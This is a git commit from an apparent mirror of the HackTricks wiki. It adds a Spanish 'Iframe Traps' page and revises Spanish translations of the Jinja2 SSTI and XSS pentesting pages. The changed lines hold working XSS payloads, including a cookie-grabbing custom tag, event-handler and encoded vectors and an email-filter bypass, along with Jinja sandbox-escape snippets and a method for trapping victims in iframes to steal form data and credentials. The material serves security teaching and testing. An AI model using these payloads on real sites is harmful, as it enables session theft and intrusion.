mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve
This commit is contained in:
parent
57d14a1860
commit
8172672aba
7 changed files with 147 additions and 70 deletions
BIN
.gitbook/assets/image (1248).png
Normal file
BIN
.gitbook/assets/image (1248).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 33 KiB |
BIN
.gitbook/assets/image (1249).png
Normal file
BIN
.gitbook/assets/image (1249).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 27 KiB |
|
@ -587,7 +587,6 @@
|
|||
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
|
||||
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
|
||||
* [IDOR](pentesting-web/idor.md)
|
||||
* [Integer Overflow](pentesting-web/integer-overflow.md)
|
||||
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
|
||||
* [LDAP Injection](pentesting-web/ldap-injection.md)
|
||||
* [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
|
@ -651,6 +650,7 @@
|
|||
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
|
||||
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
|
||||
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
|
||||
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
|
||||
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
|
||||
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
|
||||
|
@ -672,6 +672,7 @@
|
|||
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
|
||||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||
* [Iframe Traps](pentesting-web/iframe-traps.md)
|
||||
|
||||
## ⛈️ Cloud Security
|
||||
|
||||
|
|
33
pentesting-web/iframe-traps.md
Normal file
33
pentesting-web/iframe-traps.md
Normal file
|
@ -0,0 +1,33 @@
|
|||
# Trampas de Iframe
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
## Información Básica
|
||||
|
||||
Esta forma de abusar de XSS a través de iframes para robar información del usuario que se desplaza por la página web fue publicada originalmente en estos 2 posts de trustedsec.com: [**aquí**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **y** [**aquí**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
|
||||
|
||||
El ataque comienza en una página vulnerable a XSS donde es posible hacer que las **víctimas no abandonen el XSS** haciéndolas **navegar dentro de un iframe** que ocupa toda la aplicación web.
|
||||
|
||||
El ataque XSS básicamente cargará la página web en un iframe en el 100% de la pantalla. Por lo tanto, la víctima **no notará que está dentro de un iframe**. Entonces, si la víctima navega en la página haciendo clic en enlaces dentro del iframe (dentro de la web), estará **navegando dentro del iframe** con el JS arbitrario cargado robando información de esta navegación.
|
||||
|
||||
Además, para hacerlo más realista, es posible usar algunos **escuchadores** para verificar cuándo un iframe cambia la ubicación de la página, y actualizar la URL del navegador con esas ubicaciones para que el usuario piense que está moviéndose entre páginas usando el navegador.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
|
||||
|
||||
Además, es posible usar escuchadores para robar información sensible, no solo de las otras páginas que la víctima está visitando, sino también de los datos utilizados para **rellenar formularios** y enviarlos (¿credenciales?) o para **robar el almacenamiento local**...
|
||||
|
||||
Por supuesto, las principales limitaciones son que una **víctima que cierre la pestaña o introduzca otra URL en el navegador escapará del iframe**. Otra forma de hacer esto sería **actualizar la página**, sin embargo, esto podría ser parcialmente **prevenido** al deshabilitar el menú contextual del clic derecho cada vez que se carga una nueva página dentro del iframe o al notar cuando el mouse del usuario abandona el iframe, potencialmente para hacer clic en el botón de recarga del navegador y en este caso la URL del navegador se actualiza con la URL original vulnerable a XSS, por lo que si el usuario la recarga, volverá a ser envenenado (nota que esto no es muy sigiloso).
|
|
@ -2,11 +2,11 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -32,7 +32,7 @@ app.run()
|
|||
```
|
||||
### **Declaraciones de Depuración**
|
||||
|
||||
Si la Extensión de Depuración está habilitada, estará disponible una etiqueta `debug` para volcar el contexto actual, así como los filtros y pruebas disponibles. Esto es útil para ver qué está disponible para usar en la plantilla sin configurar un depurador.
|
||||
Si la Extensión de Depuración está habilitada, se dispondrá de una etiqueta `debug` para volcar el contexto actual, así como los filtros y pruebas disponibles. Esto es útil para ver qué está disponible para usar en la plantilla sin configurar un depurador.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -43,6 +43,7 @@ Si la Extensión de Depuración está habilitada, estará disponible una etiquet
|
|||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **Volcar todas las variables de configuración**
|
||||
|
@ -60,10 +61,11 @@ Fuente: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Inyección de Jinja**
|
||||
|
||||
En primer lugar, en una inyección de Jinja necesitas **encontrar una forma de escapar del sandbox** y recuperar el acceso al flujo de ejecución regular de Python. Para hacerlo, necesitas **abusar de objetos** que provienen del **entorno no sandboxeado pero son accesibles desde el sandbox**.
|
||||
En primer lugar, en una inyección de Jinja necesitas **encontrar una forma de escapar del sandbox** y recuperar el acceso al flujo de ejecución regular de Python. Para hacerlo, necesitas **abusar de objetos** que son **del** entorno **no sandboxeado pero son accesibles desde el sandbox**.
|
||||
|
||||
### Accediendo a Objetos Globales
|
||||
|
||||
|
@ -119,13 +121,14 @@ dict.__mro__[-1]
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### Escapando RCE
|
||||
|
||||
**Habiendo recuperado** `<class 'object'>` y llamado a `__subclasses__` ahora podemos usar esas clases para leer y escribir archivos y ejecutar código.
|
||||
**Habiendo recuperado** `<class 'object'>` y llamado `__subclasses__` ahora podemos usar esas clases para leer y escribir archivos y ejecutar código.
|
||||
|
||||
La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos de nuevas funciones**, estaremos contentos solo con acceder a la **clase de archivo** para **leer/escribir archivos** o cualquier clase con acceso a una clase que **permite ejecutar comandos** (como `os`).
|
||||
|
||||
|
@ -196,6 +199,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**Volver aquí para más opciones para acceder a un objeto global**](jinja2-ssti.md#accediendo-a-objetos-globales)
|
||||
* [**Volver aquí para más opciones para acceder a la clase de objeto**](jinja2-ssti.md#recuperando-objeto-de-clase)
|
||||
|
@ -235,13 +239,14 @@ Sin **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## Inyección de Jinja sin **\<class 'object'>**
|
||||
|
||||
Desde los [**objetos globales**](jinja2-ssti.md#accessing-global-objects) hay otra forma de llegar a **RCE sin usar esa clase.**\
|
||||
Si logras acceder a alguna **función** de esos objetos globales, podrás acceder a **`__globals__.__builtins__`** y desde allí el **RCE** es muy **simple**.
|
||||
Si logras acceder a alguna **función** de esos objetos globales, podrás acceder a **`__globals__.__builtins__`** y a partir de ahí el **RCE** es muy **simple**.
|
||||
|
||||
Puedes **encontrar funciones** de los objetos **`request`**, **`config`** y cualquier otro **objeto global** interesante al que tengas acceso con:
|
||||
Puedes **encontrar funciones** de los objetos **`request`**, **`config`** y cualquier **otro** objeto **global** interesante al que tengas acceso con:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
|
@ -284,8 +289,7 @@ Una vez que hayas encontrado algunas funciones, puedes recuperar los builtins co
|
|||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于CTF的工具,但也可以用于在真实场景中暴力破解无效参数。
|
||||
该工具只是向服务器发送单词和查询以检测过滤器,搜索绕过方式,并提供交互式控制台。
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于 CTF 的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是向服务器发送单词和查询以检测过滤器,搜索绕过方式,并提供交互式控制台。
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
|
@ -313,13 +317,13 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
|||
## Referencias
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* Verificar [truco de atributo para evitar caracteres en lista negra aquí](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* Consulta el [truco de atributo para evitar caracteres en lista negra aquí](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -17,13 +17,13 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
|
|||
2. ¿Puedes usar eventos o atributos que admitan el protocolo `javascript:`?
|
||||
3. ¿Puedes evadir protecciones?
|
||||
4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantillas del Lado del Cliente**](../client-side-template-injection-csti.md).
|
||||
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Colgante - Inyección de HTML sin script**](../dangling-markup-html-scriptless-injection/)?
|
||||
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Marcaje Colgante - Inyección de HTML sin script**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Dentro de una **etiqueta HTML**:
|
||||
1. ¿Puedes salir al contexto de HTML crudo?
|
||||
2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
|
||||
3. ¿El atributo donde estás atrapado admite la ejecución de JS?
|
||||
4. ¿Puedes evadir protecciones?
|
||||
3. Dentro del **código JavaScript**:
|
||||
3. Dentro del código **JavaScript**:
|
||||
1. ¿Puedes escapar de la etiqueta `<script>`?
|
||||
2. ¿Puedes escapar de la cadena y ejecutar un código JS diferente?
|
||||
3. ¿Está tu entrada en literales de plantilla \`\`?
|
||||
|
@ -31,7 +31,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
|
|||
4. **Función** JavaScript que se **ejecuta**
|
||||
1. Puedes indicar el nombre de la función a ejecutar. p. ej.: `?callback=alert(1)`
|
||||
4. Si está **siendo utilizado**:
|
||||
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sumidero.**
|
||||
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sumidero**.
|
||||
|
||||
Cuando trabajas en un XSS complejo, puede resultarte interesante saber sobre:
|
||||
|
||||
|
@ -41,11 +41,11 @@ Cuando trabajas en un XSS complejo, puede resultarte interesante saber sobre:
|
|||
|
||||
## Valores Reflejados
|
||||
|
||||
Para explotar con éxito un XSS, lo primero que necesitas encontrar es un **valor controlado por ti que esté siendo reflejado** en la página web.
|
||||
Para explotar con éxito un XSS, lo primero que necesitas encontrar es un **valor controlado por ti que se esté reflejando** en la página web.
|
||||
|
||||
* **Reflejado intermitentemente**: Si descubres que el valor de un parámetro o incluso la ruta está siendo reflejado en la página web, podrías explotar un **XSS Reflejado**.
|
||||
* **Reflejado intermitentemente**: Si descubres que el valor de un parámetro o incluso la ruta se está reflejando en la página web, podrías explotar un **XSS Reflejado**.
|
||||
* **Almacenado y reflejado**: Si descubres que un valor controlado por ti se guarda en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**.
|
||||
* **Accedido a través de JS**: Si descubres que un valor controlado por ti está siendo accedido mediante JS, podrías explotar un **DOM XSS**.
|
||||
* **Accedido mediante JS**: Si descubres que un valor controlado por ti está siendo accedido mediante JS, podrías explotar un **DOM XSS**.
|
||||
|
||||
## Contextos
|
||||
|
||||
|
@ -56,13 +56,13 @@ Cuando intentas explotar un XSS, lo primero que necesitas saber es **dónde se e
|
|||
Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
|
||||
Además, ten en cuenta la [Inyección de Plantillas del Lado del Cliente](../client-side-template-injection-csti.md).
|
||||
|
||||
### Dentro de atributos de etiquetas HTML
|
||||
### Dentro del atributo de etiquetas HTML
|
||||
|
||||
Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, podrías intentar:
|
||||
|
||||
1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML crudo) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
|
||||
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Si **no puedes escapar del atributo** (`"` está codificado o eliminado), entonces dependiendo de **qué atributo** refleje tu valor y **si controlas todo el valor o solo una parte**, podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=`, podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
3. Si **no puedes escapar del atributo** (`"` está codificado o eliminado), entonces dependiendo de **en qué atributo** se refleje tu valor y si controlas todo el valor o solo una parte, podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=`, podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**" podrías probar el truco de **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
|
||||
|
@ -100,7 +100,7 @@ La elevación de Javascript hace referencia a la oportunidad de **declarar funci
|
|||
|
||||
Varias páginas web tienen puntos finales que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común que se puede encontrar es algo como: `?callback=callbackFunc`.
|
||||
|
||||
Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ser ejecutado es **modificando el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscando en la consola errores como:
|
||||
Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ser ejecutado es **modificar el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscar en la consola errores como:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
|
@ -118,9 +118,9 @@ nextElementSibiling
|
|||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
Puedes intentar **activar funciones de Javascript** directamente: `obj.sales.delOrders`.
|
||||
También puedes intentar **activar funciones de Javascript** directamente: `obj.sales.delOrders`.
|
||||
|
||||
Sin embargo, por lo general, los puntos finales que ejecutan la función indicada son puntos finales sin mucho DOM interesante, **otras páginas en el mismo origen** tendrán un DOM **más interesante** para realizar más acciones.
|
||||
Sin embargo, por lo general, los puntos finales que ejecutan la función indicada son puntos finales sin mucho DOM interesante, **otras páginas en el mismo origen** tendrán un **DOM más interesante** para realizar más acciones.
|
||||
|
||||
Por lo tanto, para **abusar de esta vulnerabilidad en un DOM diferente**, se desarrolló la explotación de **Same Origin Method Execution (SOME)**:
|
||||
|
||||
|
@ -156,10 +156,10 @@ Algunos **ejemplos**:
|
|||
## Inyectando dentro de HTML sin formato
|
||||
|
||||
Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que debes hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en el último caso podrás explotar este caso**.\
|
||||
Para estos casos también **ten en cuenta** [**Inyección de Plantillas en el Lado del Cliente**](../client-side-template-injection-csti.md)**.**\
|
||||
Para estos casos también **ten en cuenta** [**Inyección de Plantillas del Lado del Cliente**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Un comentario HTML puede cerrarse usando**** ****`-->`**** ****o**** ****`--!>`**_
|
||||
|
||||
En este caso, y si no se utiliza ninguna lista negra/lista blanca, podrías usar payloads como:
|
||||
En este caso y si no se utiliza lista negra/lista blanca, podrías usar payloads como:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
|
@ -174,7 +174,7 @@ Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**]
|
|||
|
||||
### Etiquetas personalizadas
|
||||
|
||||
Si no encontraste ninguna etiqueta HTML válida, podrías intentar **crear una etiqueta personalizada** y ejecutar código JS con el atributo `onfocus`. En la solicitud XSS, necesitas terminar la URL con `#` para que la página se **enfoque en ese objeto** y **ejecute** el código:
|
||||
Si no encontraste ninguna etiqueta HTML válida, podrías intentar **crear una etiqueta personalizada** y ejecutar código JS con el atributo `onfocus`. En la solicitud XSS, necesitas terminar la URL con `#` para que la página **se enfoque en ese objeto** y **ejecute** el código:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -247,7 +247,7 @@ Para verificar en qué caracteres se descomponen, consulta [aquí](https://www.c
|
|||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Si para explotar la vulnerabilidad necesitas que **el usuario haga clic en un enlace o un formulario** con datos prellenados, podrías intentar [**abusar del Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
|
||||
Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o un formulario** con datos prellenados, podrías intentar [**abusar del Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
|
||||
|
||||
### Imposible - Dangling Markup
|
||||
|
||||
|
@ -381,11 +381,11 @@ Puedes usar la codificación **Hexadecimal** y **Octal** dentro del atributo `sr
|
|||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Reversión de tabulación de nabbing
|
||||
### Reversión de tabulación nabbing
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que contenga los atributos **`target="_blank" y rel="opener"`**, verifica la **siguiente página para explotar este comportamiento**:
|
||||
Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que contenga los atributos **`target="_blank"`** y **`rel="opener"`**, verifica la **siguiente página para explotar este comportamiento**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -393,7 +393,7 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c
|
|||
|
||||
### en Event Handlers Bypass
|
||||
|
||||
En primer lugar, verifica esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
|
||||
En primer lugar, verifica esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para encontrar útiles **"on" event handlers**.\
|
||||
En caso de que haya alguna lista negra que te impida crear estos event handlers, puedes probar los siguientes bypasses:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
|
@ -424,7 +424,7 @@ Y en **etiquetas meta**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar un **payload XSS dentro de un atributo oculto**, siempre que puedas **persuadir** a la **víctima** para que presione la **combinación de teclas**. En Firefox Windows/Linux la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente utilizando una tecla diferente en el atributo de tecla de acceso. Aquí está el vector:
|
||||
Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar un **payload XSS dentro de un atributo oculto**, siempre que puedas **persuadir** a la **víctima** para que presione la **combinación de teclas**. En Firefox Windows/Linux la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente usando una tecla diferente en el atributo de tecla de acceso. Aquí está el vector:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -448,13 +448,13 @@ Lee los [Saltos de lista negra de la sección anterior](./#blacklist-bypasses).
|
|||
|
||||
Lee los [Saltos de lista negra de JavaScript de la siguiente sección](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
### Gadgets de CSS
|
||||
|
||||
Si encuentras un **XSS en una parte muy pequeña** de la web que requiere algún tipo de interacción (quizás un pequeño enlace en el pie de página con un elemento onmouseover), puedes intentar **modificar el espacio que ocupa ese elemento** para maximizar las probabilidades de que se active el enlace.
|
||||
|
||||
Por ejemplo, podrías agregar algún estilo al elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Pero, si el WAF está filtrando el atributo de estilo, puedes usar CSS Styling Gadgets, así que si encuentras, por ejemplo
|
||||
Pero, si el WAF está filtrando el atributo de estilo, puedes usar Gadgets de Estilo CSS, así que si encuentras, por ejemplo
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
@ -470,7 +470,7 @@ Este truco fue tomado de [https://medium.com/@skavans\_/improving-the-impact-of-
|
|||
|
||||
## Inyectando dentro del código JavaScript
|
||||
|
||||
En este caso tu **entrada** se reflejará dentro del código JS de un archivo `.js` o entre las etiquetas `<script>...</script>` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`.
|
||||
En este caso tu **entrada** se va a **reflejar dentro del código JS** de un archivo `.js` o entre las etiquetas `<script>...</script>` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`.
|
||||
|
||||
### Escapando la etiqueta \<script>
|
||||
|
||||
|
@ -490,10 +490,10 @@ Si se están **sanitizando** los caracteres `<>`, aún puedes **escapar la caden
|
|||
```
|
||||
### Literales de plantilla \`\`
|
||||
|
||||
Para construir **cadenas de texto** además de las comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla ya que permiten **incrustar expresiones de JS** usando la sintaxis `${ ... }`.\
|
||||
Por lo tanto, si descubres que tu entrada se está **reflejando** dentro de una cadena de texto de JS que está utilizando backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
|
||||
Para construir **cadenas de texto** además de las comillas simples y dobles, JS también acepta **acento grave** **` `` `**. Esto se conoce como literales de plantilla ya que permiten **incrustar expresiones JS** usando la sintaxis `${ ... }`.\
|
||||
Por lo tanto, si descubres que tu entrada se está **reflejando** dentro de una cadena de texto de JS que está utilizando acentos graves, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
|
||||
|
||||
Esto puede ser **abusado** usando:
|
||||
Esto se puede **abusar** utilizando:
|
||||
```javascript
|
||||
`${alert(1)}`
|
||||
`${`${`${`${alert(1)}`}`}`}`
|
||||
|
@ -749,20 +749,20 @@ Además, no olvides que **al final de la publicación mencionada** puedes encont
|
|||
|
||||
### Unicode Normalizado
|
||||
|
||||
Podrías verificar si los **valores reflejados** están siendo **normalizados en unicode** en el servidor (o en el lado del cliente) y abusar de esta funcionalidad para evadir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Podrías verificar si los **valores reflejados** están siendo **normalizados en Unicode** en el servidor (o en el lado del cliente) y abusar de esta funcionalidad para evadir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### Bypass de la bandera PHP FILTER\_VALIDATE\_EMAIL
|
||||
### Bypass del flag PHP FILTER\_VALIDATE\_EMAIL
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
